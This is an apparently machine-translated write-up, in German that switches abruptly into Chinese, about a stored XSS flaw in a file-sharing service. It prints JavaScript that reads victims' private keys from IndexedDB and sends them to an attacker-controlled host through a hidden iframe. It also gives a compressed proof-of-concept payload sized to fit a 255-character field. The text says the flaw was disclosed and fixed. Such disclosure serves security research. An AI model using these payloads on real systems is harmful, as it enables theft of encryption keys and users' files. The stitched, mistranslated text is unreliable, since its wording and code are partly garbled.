Hintergrund
Vor nicht allzu langer Zeit zeigte ein auf einer niederländischen Technologie-Website veröffentlichter Artikel eine neue Version eines Online-Dienstes , das behauptet, diesen Dienst zu nutzen, um eine End-to-End-Übertragung von Dateianfragen durch Benutzer über das Web zu realisieren.
Da ich wie zuvor sehr an dieser sicheren Verschlüsselungsimplementierung interessiert bin, verspürte ich den Drang, sie zu testen, als ich diesen Artikel sah. Der Artikel behauptet, dass diese Art der Dateianforderung über das Internet sicher sei. Auf der Website des Verschlüsselungsdienstes werden nur mehrere lokale Ende-zu-Ende-Verschlüsselungsmethoden mit RSA- und AES-Privatschlüsseln vorgestellt. Darüber hinaus wird die spezifische Verschlüsselungsimplementierung nicht ausführlich vorgestellt, sodass eine Prüfung oder Überprüfung schwierig ist Der Code erklärt, wie man anfängt.
Obwohl die Website des Verschlüsselungsdienstes behauptet, dass der von ihnen angebotene Dienst absolut sicher und zuverlässig sei, habe ich das Gefühl, dass jeder Fehler machen kann, also habe ich beschlossen, ihn eingehend zu testen.
Eine gespeicherte XSS-Schwachstelle wurde gefunden. Mit dem Verschlüsselungsdienst können Benutzer eine Dateianforderung erstellen, die einen Link generiert, der per E-Mail an andere Dienstbenutzer gesendet werden kann. Nachdem der Empfängerbenutzer die Link-E-Mail erhalten hat, wird ihm beim Öffnen der E-Mail eine Seite angezeigt, auf der er Datei-Upload-Vorgänge durchführen kann. Die vom Benutzer erstellte Dateianforderung enthält die Informationen zum öffentlichen Schlüssel, die der Benutzer zum Verschlüsseln der Datei auf dem Client verwendet.
Das Problem besteht darin, dass auf der durch diese Dateianforderung generierten Linkseite das Feld „Benutzername“ oder „Firmenname“ nicht gefiltert wird und XSS Payload-<script> it, warning('Hi there!');</script>, nach dem Senden des entsprechenden Dateianforderungslinks an andere Benutzer wird XSS beim Öffnen des Links wie folgt ausgeführt:
Mit anderen Worten, wir können beliebigen Code im System des Zielbenutzers ausführen und einige schlechte Dinge tun, aber wie kann man ihn im Detail nutzen?
Erhalten Sie den lokalen privaten Schlüssel des Zielbenutzers Informationen
Der Verschlüsselungsdienst verwendet eine clientseitige asymmetrische Verschlüsselung, um Benutzerdateien zu schützen. Da der Verschlüsselungsdienst über die Website bereitgestellt wird, sollte sein Verschlüsselungsmechanismus über JavaScript aufgerufen werden, d. h. er kann implementiert werden über JavaScript, um lokale private Schlüsselinformationen zu erhalten. Nach der Analyse wurde festgestellt, dass der Verschlüsselungsdienst die vom Benutzer generierten privaten Schlüsselinformationen in der lokalen indexedDB-Datenbank speichert und nicht über das Netzwerk gesendet werden kann.
Der private Schlüssel des Benutzers ist eine wichtige Information zum Schutz der verschlüsselten Dateien des Benutzers. Nur mit dem privaten Schlüssel können die mit dem zugehörigen Schlüssel verschlüsselten Dateien entschlüsselt werden. Der private Schlüssel muss gut geschützt sein und darf nicht mit anderen Personen geteilt werden . Wie Sie vielleicht schon erraten haben, können wir den privaten Schlüssel des Benutzers erhalten, indem wir die Nutzlast im Namensfeld ändern, in dem die gespeicherte XSS-Schwachstelle besteht. Ich habe den Code geschrieben, um lokale Speicherinformationen zu erhalten, und ihn Schicht für Schicht überprüft und getestet. Schließlich habe ich mir den folgenden Code ausgedacht, um den privaten Schlüssel des lokalen Benutzers zu erhalten:
var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
store.onsuccess = () => alert(store.result.pem);
};
Sammeln Sie die Informationen zum privaten Schlüssel des Opfers vom Angreifer Seite
Auf diese Weise ist es keine gute Möglichkeit, die privaten Schlüsselinformationen des Benutzers anzuzeigen. Wir müssen sie an einen von uns kontrollierten Remote-Server senden, oder? Zu diesem Zweck habe ich versucht, POST zu verwenden, um die Informationen zum privaten Schlüssel an den von mir kontrollierten Remote-Server zu senden. Ich bin auf das erste Problem gestoßen, bei dem die oben erwähnte XSS-Sicherheitsanfälligkeit nur die Eingabe von maximal 255 Zeichen zulässt, die JavaScript-Anfrage jedoch sehr lang ist, sodass der Code so weit wie möglich vereinfacht werden muss.
Doch bald entdeckte ich, dass jQuery in Dienstanwendungen existiert, wodurch sehr einfache und kurze Ajax-Anfragen gestellt werden können, was großartig ist. Aber am Ende scheiterte ich an den CORS-Einschränkungen. Einige Leute sagen vielleicht, dass es daran liegt, dass mein Remote-Server nicht richtig konfiguriert ist, aber ich habe Access-Control-Allow-Origin auf * gesetzt, aber es funktioniert immer noch nicht, also kann ich das nur schätzen Es handelt sich um den serverseitigen CORS-Header.但对于非Ajax请求来说，我发现在GET请求中，如果把数据放到URL后就是一种很好的传输方式，为此我选择了iframes方式的链接嵌入。把数据放到URL之后，如//example.com/?k=DATA，然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架，把数据回传给我，如：
$('body').append(
'<iframe src="//example.com/?k=' +
btoa(JSON.stringify(secret_data)) +
'" />'
);用window.location.href方法让受害用户执行重定向跳转到攻击者页面，也是可行的，但这难免会引起怀疑。
就这样，我们就能远程收集获取到目标用户的私钥信息了！
Proof of Concept
经过测试，我把上述代码压缩，并填入我的远程服务器短域名，刚好是250个字符，低于255个最大字符的限制。完美！
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).
objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa
(JSON.stringify(b.target.result))+'">'),1);</script>参考以下POC视频：
https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm
在我的远程服务器端，我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据，进行解析提取，会形成一个keys.txt文件进行存储。
总结
测试有效后，我及时联系了厂商，他们在15分钟就给了回复，经过一番讨论之后，他们在一个小时之内就及时修复了该漏洞。所以，我的经验是，别单单根据网站或厂商的说明去相信一项服务的安全性，安全的前提须基于以下因素：
运行有一段时间；
是开源的；
经过现实应用的考验；
经过多方参与的安全审计；
只有经过深入的研究和审查才能声称是安全的；
或者由其它可信安全的第三方托管运行。
相关文章教程推荐：web服务器安全教程
Das obige ist der detaillierte Inhalt vonErhalten Sie die lokalen privaten Schlüsselinformationen des Zielbenutzers über eine gespeicherte XSS-Schwachstelle. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!
